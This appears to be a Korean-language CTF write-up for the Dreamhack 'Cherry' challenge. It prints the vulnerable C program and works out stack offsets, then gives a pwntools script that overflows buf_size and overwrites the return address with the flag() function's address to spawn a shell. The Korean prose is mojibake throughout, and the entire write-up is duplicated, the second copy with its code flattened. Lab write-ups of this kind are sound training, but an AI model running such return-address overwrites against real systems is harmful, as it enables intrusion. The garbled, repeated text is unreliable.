1. ๋ฌธ์
https://dreamhack.io/wargame/challenges/959
Cherry
Description ์ฃผ์ด์ง ๋ฐ์ด๋๋ฆฌ์ ์์ค ์ฝ๋๋ฅผ ๋ถ์ํ์ฌ ์ต์คํ๋ก์ํ๊ณ ํ๋๊ทธ๋ฅผ ํ๋ํ์ธ์! ํ๋๊ทธ๋ flag.txt ํ์ผ์ ์์ต๋๋ค. ํ๋๊ทธ์ ํ์์ DH{...} ์ ๋๋ค.
dreamhack.io
2. ํด๊ฒฐ ๊ณผ์
(1) ํ์ผ ๋ถ์
์ผ๋จ ํด๋น ๋ฐ์ด๋๋ฆฌ ํ์ผ์ gcc -fno-stack-protector -no-pie chall.c -o chall ๋ก ์ปดํ์ผ ๋์๊ธฐ ๋๋ฌธ์ ์ฃผ์๊ฐ ๊ณ ์ ๋์ด์๋ค.
// Compile: gcc -fno-stack-protector -no-pie chall.c -o chall
๋ฐ์ด๋๋ฆฌ ํ์ผ์ ์คํํด๋ณด๋ฉด ๋ ๋ฒ์ ์ ๋ ฅ์ ๋ฐ๊ฒ ๋๋ค.

- initialize(): ๋ฒํผ๋ง์ ๋นํ์ฑํํ๊ณ , SIGALRM์ ์ด์ฉํด 30์ด ํ ์๋ ์ข ๋ฃํ๋ ๊ธฐ๋ฅ์ ์ค์
- flag(): /bin/sh ์คํ ํจ์ < ์ด๊ฑธ ์คํ์ํค๋ ๊ฒ์ด ๋ชฉํ
- main(): ๋ค์๊ณผ ๊ฐ์ ํ๋ฆ์ผ๋ก ์งํ๋จ
- initialize() ํธ์ถ
- "Menu: " ๋ฉ์์ง ์ถ๋ ฅ
- buf(6๋ฐ์ดํธ ํฌ๊ธฐ)์ ์ต๋ buf_size(16๋ฐ์ดํธ)๋งํผ ์ ๋ ฅ์ ๋ฐ์
- ์ ๋ ฅ์ด "cherry"์ ๊ฐ๋ค๋ฉด "Is it cherry?: " ๋ฉ์์ง๋ฅผ ์ถ๋ ฅํ ํ, fruit(6๋ฐ์ดํธ ํฌ๊ธฐ)์ ๋ค์ buf_size(16๋ฐ์ดํธ)๋งํผ ์ ๋ ฅ์ ๋ฐ์
// Name: chall.c
// Compile: gcc -fno-stack-protector -no-pie chall.c -o chall
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void flag() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main(int argc, char *argv[]) {
int stdin_fd = 0;
int stdout_fd = 1;
char fruit[0x6] = "cherry";
int buf_size = 0x10;
char buf[0x6];
initialize();
write(stdout_fd, "Menu: ", 6);
read(stdin_fd, buf, buf_size);
if(!strncmp(buf, "cherry", 6)) {
write(stdout_fd, "Is it cherry?: ", 15);
read(stdin_fd, fruit, buf_size);
}
return 0;
}
(2) ํ์ด๋ก๋ ์์ฑ
์ฒ์์๋ ๋จ์ํ๊ฒ ๋๋ฒ์งธ ์ ๋ ฅ์์ ๋ฆฌํด์ฃผ์๊น์ง์ ๊ฑฐ๋ฆฌ๋ฅผ ๊ตฌํด์ ๋ฒํผ์ ํด๋น ๊ธธ์ด์ ๋ฐ์ดํฐ๋ฅผ ๋ฃ์ด์ฃผ๋ฉด ๋๋ค๊ณ ์๊ฐํ๋๋ฐ, ์ผ๋จ 16๋ฐ์ดํธ๋ก ๊ธธ์ด๊ฐ ์ ํ๋์ด์๊ณ ๋ํ ๋ฆฌํด ์ฃผ์๊น์ง์ ๊ธธ์ด๊ฐ ์ด๋ฅผ ๋ณดํต ๋๊ธฐ ๋๋ฌธ์ ํด๋น ๋ฐฉ๋ฒ์ผ๋ก๋ ํ๋๊ทธ๋ฅผ ์ป์ ์ ์๋ค.
๋จผ์ mainํจ์์ ์คํ ํ๋ ์ ๊ตฌ์กฐ๋ฅผ ๋ณด๋ฉด ์๋์ ๊ฐ๋ค.
๋์ ์ฃผ์(high address)
+------------------------+
| ๋ฆฌํด ์ฃผ์ | <-- ์ฌ๊ธฐ๋ฅผ flag() ํจ์์ ์ฃผ์๋ก ๋ฎ์ด์ฐ๋ ๊ฒ์ด ์ต์ข
๋ชฉํ
+------------------------+
| Saved RBP |
+------------------------+ rbp
| stdin_fd (0) |
+------------------------+ rbp - 0x4
| stdout_fd (1) |
+------------------------+ rbp - 0x8
| fruit[0x6] ("cherry") | <-- ๋ ๋ฒ์งธ overflow ๋ฐ์ ์ง์
+------------------------+ rbp - 0xc
| buf_size (0x10) | <-- ์ด ๊ฐ์ ๋ณ๊ฒฝํ๋ ๊ฒ์ด 1์ฐจ ๋ชฉํ
+------------------------+ rbp - 0x12
| buf[0x6] | <-- ์ฒซ ๋ฒ์งธ overflow ๋ฐ์ ์ง์
+------------------------+ rbp - 0x18
๋ฎ์ ์ฃผ์(low address)
์ค์ ๋ก ๋๋ฒ๊น ํด๋ณด๋ฉด buf ๋ณ์๋ 0x7fffffffde18( rbp - 0x18 )์ ์์นํ๊ณ , buf_size ๋ 0x7fffffffde24( rbp - 0xc )์ ์์นํ์ฌ 12๋ฐ์ดํธ ๊ฑฐ๋ฆฌ์ ์๋ค๋ ๊ฒ์ ์ ์ ์๋ค. ๋ฐ๋ผ์ buf์ ์ ๋ ฅ ๊ฐ๋ฅํ ํฌ๊ธฐ๋ ์ต๋ 16 ๋ฐ์ดํธ์ด๋ฏ๋ก buf_size ์์ฒด๋ฅผ ์ค๋ฒํ๋ก์ฐ๋ฅผ ํตํด ๋ฎ์ด์จ์ ํฌ๊ธฐ๋ฅผ ๋ณ๊ฒฝํ ์ ์๋ค๋ ๊ฒ์ด๋ค.



๋ํ ๋๋ฒ์งธ ์ ๋ ฅ๊ฐ์ด ๋ค์ด๊ฐ๋ fruit๋ถํฐ ๋ฆฌํด ์ฃผ์๊น์ง์ ๊ฑฐ๋ฆฌ๋ 0x12+0x8 = 0x1A(26๋ฐ์ดํธ)์ด๋ค.
์ค์ ๋ก ๋๋ฒ๊น ํด๋ณด์์ ๋ fruit์ rbp - 0x12 (0x7fffffffde1e)์ ์๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.

๋ฐ๋ผ์ ์ฒซ๋ฒ์งธ ์ ๋ ฅ ๋ค์ 26๋ฐ์ดํธ๋ฅผ ์ ๋ ฅํ ๋ค ๋ฆฌํด ์ฃผ์๋ฅผ flag ์ฃผ์๋ก ๋ฎ์ด์ฐ๋ฉด ์์ ํ๋ํ ์ ์์ ๊ฒ์ด๋ค.

๋ง์ง๋ง์ผ๋ก ๋ฎ์ด์ธ flag ํจ์์ ์ฃผ์๋ฅผ ํ์ธํ์ฌ์ ์ต์คํ๋ก์ ์ฝ๋๋ฅผ ์์ฑํด์ฃผ์๋ค.

[์ต์ข ์ฝ๋]
from pwn import *
p = remote("host3.dreamhack.games",16112 )
flag_addr = 0x4012bc
payload = b'cherry'
payload += b'A'*10
p.recvuntil(b"Menu: ")
p.send(payload)
payload = b'B'*26
payload += p64(flag_addr)
p.recvuntil(b"Is it cherry?: ")
p.send(payload)
p.interactive()

1. ๋ฌธ์
https://dreamhack.io/wargame/challenges/959
Cherry
Description ์ฃผ์ด์ง ๋ฐ์ด๋๋ฆฌ์ ์์ค ์ฝ๋๋ฅผ ๋ถ์ํ์ฌ ์ต์คํ๋ก์ํ๊ณ ํ๋๊ทธ๋ฅผ ํ๋ํ์ธ์! ํ๋๊ทธ๋ flag.txt ํ์ผ์ ์์ต๋๋ค. ํ๋๊ทธ์ ํ์์ DH{...} ์ ๋๋ค.
dreamhack.io
2. ํด๊ฒฐ ๊ณผ์
(1) ํ์ผ ๋ถ์
์ผ๋จ ํด๋น ๋ฐ์ด๋๋ฆฌ ํ์ผ์ gcc -fno-stack-protector -no-pie chall.c -o chall ๋ก ์ปดํ์ผ ๋์๊ธฐ ๋๋ฌธ์ ์ฃผ์๊ฐ ๊ณ ์ ๋์ด์๋ค.
// Compile: gcc -fno-stack-protector -no-pie chall.c -o chall
๋ฐ์ด๋๋ฆฌ ํ์ผ์ ์คํํด๋ณด๋ฉด ๋ ๋ฒ์ ์ ๋ ฅ์ ๋ฐ๊ฒ ๋๋ค.

- initialize(): ๋ฒํผ๋ง์ ๋นํ์ฑํํ๊ณ , SIGALRM์ ์ด์ฉํด 30์ด ํ ์๋ ์ข ๋ฃํ๋ ๊ธฐ๋ฅ์ ์ค์
- flag(): /bin/sh ์คํ ํจ์ < ์ด๊ฑธ ์คํ์ํค๋ ๊ฒ์ด ๋ชฉํ
- main(): ๋ค์๊ณผ ๊ฐ์ ํ๋ฆ์ผ๋ก ์งํ๋จ
- initialize() ํธ์ถ
- "Menu: " ๋ฉ์์ง ์ถ๋ ฅ
- buf(6๋ฐ์ดํธ ํฌ๊ธฐ)์ ์ต๋ buf_size(16๋ฐ์ดํธ)๋งํผ ์ ๋ ฅ์ ๋ฐ์
- ์ ๋ ฅ์ด "cherry"์ ๊ฐ๋ค๋ฉด "Is it cherry?: " ๋ฉ์์ง๋ฅผ ์ถ๋ ฅํ ํ, fruit(6๋ฐ์ดํธ ํฌ๊ธฐ)์ ๋ค์ buf_size(16๋ฐ์ดํธ)๋งํผ ์ ๋ ฅ์ ๋ฐ์
// Name: chall.c // Compile: gcc -fno-stack-protector -no-pie chall.c -o chall #include <stdio.h> #include <stdlib.h> #include <signal.h> #include <unistd.h> #include <string.h> #include <fcntl.h> void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } void flag() { char *cmd = "/bin/sh"; char *args[] = {cmd, NULL}; execve(cmd, args, NULL); } int main(int argc, char *argv[]) { int stdin_fd = 0; int stdout_fd = 1; char fruit[0x6] = "cherry"; int buf_size = 0x10; char buf[0x6]; initialize(); write(stdout_fd, "Menu: ", 6); read(stdin_fd, buf, buf_size); if(!strncmp(buf, "cherry", 6)) { write(stdout_fd, "Is it cherry?: ", 15); read(stdin_fd, fruit, buf_size); } return 0; }
(2) ํ์ด๋ก๋ ์์ฑ
์ฒ์์๋ ๋จ์ํ๊ฒ ๋๋ฒ์งธ ์ ๋ ฅ์์ ๋ฆฌํด์ฃผ์๊น์ง์ ๊ฑฐ๋ฆฌ๋ฅผ ๊ตฌํด์ ๋ฒํผ์ ํด๋น ๊ธธ์ด์ ๋ฐ์ดํฐ๋ฅผ ๋ฃ์ด์ฃผ๋ฉด ๋๋ค๊ณ ์๊ฐํ๋๋ฐ, ์ผ๋จ 16๋ฐ์ดํธ๋ก ๊ธธ์ด๊ฐ ์ ํ๋์ด์๊ณ ๋ํ ๋ฆฌํด ์ฃผ์๊น์ง์ ๊ธธ์ด๊ฐ ์ด๋ฅผ ๋ณดํต ๋๊ธฐ ๋๋ฌธ์ ํด๋น ๋ฐฉ๋ฒ์ผ๋ก๋ ํ๋๊ทธ๋ฅผ ์ป์ ์ ์๋ค.
๋จผ์ mainํจ์์ ์คํ ํ๋ ์ ๊ตฌ์กฐ๋ฅผ ๋ณด๋ฉด ์๋์ ๊ฐ๋ค.
๋์ ์ฃผ์(high address) +------------------------+ | ๋ฆฌํด ์ฃผ์ | <-- ์ฌ๊ธฐ๋ฅผ flag() ํจ์์ ์ฃผ์๋ก ๋ฎ์ด์ฐ๋ ๊ฒ์ด ์ต์ข
๋ชฉํ +------------------------+ | Saved RBP | +------------------------+ rbp | stdin_fd (0) | +------------------------+ rbp - 0x4 | stdout_fd (1) | +------------------------+ rbp - 0x8 | fruit[0x6] ("cherry") | <-- ๋ ๋ฒ์งธ overflow ๋ฐ์ ์ง์ +------------------------+ rbp - 0xc | buf_size (0x10) | <-- ์ด ๊ฐ์ ๋ณ๊ฒฝํ๋ ๊ฒ์ด 1์ฐจ ๋ชฉํ +------------------------+ rbp - 0x12 | buf[0x6] | <-- ์ฒซ ๋ฒ์งธ overflow ๋ฐ์ ์ง์ +------------------------+ rbp - 0x18 ๋ฎ์ ์ฃผ์(low address)
์ค์ ๋ก ๋๋ฒ๊น ํด๋ณด๋ฉด buf ๋ณ์๋ 0x7fffffffde18( rbp - 0x18 )์ ์์นํ๊ณ , buf_size ๋ 0x7fffffffde24( rbp - 0xc )์ ์์นํ์ฌ 12๋ฐ์ดํธ ๊ฑฐ๋ฆฌ์ ์๋ค๋ ๊ฒ์ ์ ์ ์๋ค. ๋ฐ๋ผ์ buf์ ์ ๋ ฅ ๊ฐ๋ฅํ ํฌ๊ธฐ๋ ์ต๋ 16 ๋ฐ์ดํธ์ด๋ฏ๋ก buf_size ์์ฒด๋ฅผ ์ค๋ฒํ๋ก์ฐ๋ฅผ ํตํด ๋ฎ์ด์จ์ ํฌ๊ธฐ๋ฅผ ๋ณ๊ฒฝํ ์ ์๋ค๋ ๊ฒ์ด๋ค.



๋ํ ๋๋ฒ์งธ ์ ๋ ฅ๊ฐ์ด ๋ค์ด๊ฐ๋ fruit๋ถํฐ ๋ฆฌํด ์ฃผ์๊น์ง์ ๊ฑฐ๋ฆฌ๋ 0x12+0x8 = 0x1A(26๋ฐ์ดํธ)์ด๋ค.
์ค์ ๋ก ๋๋ฒ๊น ํด๋ณด์์ ๋ fruit์ rbp - 0x12 (0x7fffffffde1e)์ ์๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.

๋ฐ๋ผ์ ์ฒซ๋ฒ์งธ ์ ๋ ฅ ๋ค์ 26๋ฐ์ดํธ๋ฅผ ์ ๋ ฅํ ๋ค ๋ฆฌํด ์ฃผ์๋ฅผ flag ์ฃผ์๋ก ๋ฎ์ด์ฐ๋ฉด ์์ ํ๋ํ ์ ์์ ๊ฒ์ด๋ค.

๋ง์ง๋ง์ผ๋ก ๋ฎ์ด์ธ flag ํจ์์ ์ฃผ์๋ฅผ ํ์ธํ์ฌ์ ์ต์คํ๋ก์ ์ฝ๋๋ฅผ ์์ฑํด์ฃผ์๋ค.

[์ต์ข ์ฝ๋]
from pwn import * p = remote("host3.dreamhack.games",16112 ) flag_addr = 0x4012bc payload = b'cherry' payload += b'A'*10 p.recvuntil(b"Menu: ") p.send(payload) payload = b'B'*26 payload += p64(flag_addr) p.recvuntil(b"Is it cherry?: ") p.send(payload) p.interactive()
